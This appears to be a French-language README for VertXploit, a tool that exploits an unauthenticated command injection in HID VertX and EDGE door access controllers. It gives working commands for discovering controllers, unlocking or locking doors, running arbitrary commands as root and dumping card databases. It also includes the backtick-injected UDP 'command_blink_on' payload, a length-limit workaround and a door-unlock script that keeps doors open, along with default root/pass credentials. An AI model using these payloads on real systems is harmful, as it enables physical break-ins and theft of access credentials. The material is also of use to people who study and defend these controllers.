
Exploitation des systèmes de contrôle d'accès HID VertX et EDGE
Exploitation des systèmes de contrôle d'accès HID VertX et EDGE
VertXploit est un outil qui peut être utilisé pour exploiter les systèmes de contrôle d'accès HID VertX et EDGE.
Une vulnérabilité existe dans le service discoveryd, qui ne parvient pas à assainir les données utilisateur avant d'exécuter des appels système. Cela permet l'exécution de code arbitraire sur les systèmes de contrôle d'accès HID VertX et EDGE sans nécessiter d'authentification. Voir la section Injection de commande pour plus d'informations.
VertXploit peut déverrouiller ou verrouiller des portes connectées au système de contrôle d'accès, télécharger les bases de données contenant toutes les cartes de contrôle d'accès provisionnées/en cache, et exécuter des commandes arbitraires en tant que root sur le système VertX, s'il est vulnérable.
Si le firmware du contrôleur VertX a été récemment mis à jour, vertXploit tentera de déverrouiller ou verrouiller les portes via la console web en utilisant le nom d'utilisateur et le mot de passe par défaut, ou ceux fournis par l'utilisateur.
Exécutez pip install -r requirements.txt pour installer les modules python requis.
Exécutez ./vertXploit.py -h pour afficher le menu d'aide, ou ./vertXploit.py ACTION -h pour afficher l'aide d'une action spécifique.
Exécutez vertXploit avec uniquement l'argument d'action discover pour découvrir tous les systèmes de contrôle d'accès HID sur le réseau de diffusion local. Si une adresse IP est fournie avec l'argument optionnel --ip IP, vertXploit utilisera python-nmap pour scanner ce réseau /24 à la recherche de systèmes avec le port 4050 ouvert. VertXploit enverra ensuite un paquet UDP de découverte à l'adresse IP identifiée pour déterminer si ce système est un panneau de contrôle d'accès HID.
Exemple :
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
Une fois un contrôleur découvert, exécutez vertXploit avec l'argument d'action fingerprint et l'adresse IP du contrôleur d'accès pour obtenir des informations détaillées sur le panneau de contrôle d'accès.
Exemple :
./vertXploit.py fingerprint 10.1.10.5
Afin de déverrouiller ou verrouiller des portes connectées au panneau de contrôle d'accès, exécutez vertXploit avec l'argument d'action unlock ou lock et l'adresse IP du contrôleur. Si le contrôleur n'est pas vulnérable à l'exploit d'injection de commande, vertXploit tentera de déverrouiller ou verrouiller les portes via la console web. Cette méthode utilise le nom d'utilisateur par défaut 'root' et le mot de passe par défaut 'pass', ou vous pouvez fournir les vôtres avec les arguments --username USERNAME et --password PASSWORD.
Exemple :
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
Des commandes Linux arbitraires peuvent être exécutées sur le système de contrôle d'accès en utilisant l'argument d'action raw et l'adresse IP du contrôleur. La commande peut échouer si elle n'est pas installée sur le contrôleur (Python, Perl, Ruby, etc.). Comme simple preuve de concept, la commande Linux native 'ping' semble fonctionner sur tous les modèles VertX et EDGE testés.
Exemple :
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Pour télécharger les bases de données de cartes du contrôleur, exécutez vertXploit avec l'argument d'action download et l'adresse IP du contrôleur. Le contrôleur doit être vulnérable à la vulnérabilité d'injection de commande et vous devez pouvoir accéder à l'interface web du contrôleur pour télécharger les deux bases de données de cartes. Le nom d'utilisateur par défaut 'root' et le mot de passe par défaut 'pass' sont utilisés pour l'authentification web, ou vous pouvez fournir les vôtres avec les arguments --username USERNAME et --password PASSWORD.
Exemple :
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
Après avoir téléchargé les bases de données 'IdentDB' et 'AccessDB' depuis le contrôleur, utilisez l'argument d'action dump pour extraire le contenu des bases de données. Vous pouvez éventuellement spécifier le chemin local des bases de données avec l'argument --path PATH.
Exemple :
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
En général, plusieurs contrôleurs d'accès VertX ou EDGE sont installés et hébergés ensemble. La commande de diagnostic command_blink_on peut être envoyée à un contrôleur spécifique, ce qui fait clignoter la LED physique « Comm » du panneau pour une identification visuelle. Cette commande se termine généralement par le nombre de fois que la LED doit clignoter, dans le cas suivant, 30 fois.
command_blink_on;044;00:11:22:33:44:55;30;
En remplaçant le nombre de clignotements par une commande Linux entourée d'accents graves, la commande sera exécutée sur le contrôleur d'accès, en tant que root.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Pour déverrouiller et verrouiller à distance des portes connectées au système de contrôle d'accès, les commandes sont écrites dans /tmp/a via echo. Cela est fait car il y a une limite de longueur de 41 caractères, sans compter les deux accents graves, qui peuvent être envoyés au contrôleur. Remarque : echo est utilisé au lieu de printf car certains anciens contrôleurs VertX exécutent BusyBox < 1.0.1 qui n'inclut pas printf.
Les sauts de ligne issus de l'écriture des commandes dans le fichier sont ensuite supprimés en exécutant tr -d '\n' < /tmp/a > /tmp/b, et des sauts de ligne intentionnels sont insérés en exécutant tr '!' '\n' < /tmp/b > /tmp/a.
Le script /tmp/a est ensuite exécuté et les deux fichiers sont supprimés. Le contenu ci-dessous indique quelles commandes sont écrites dans /tmp/a lorsque les commandes de déverrouillage et de verrouillage sont envoyées au contrôleur VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi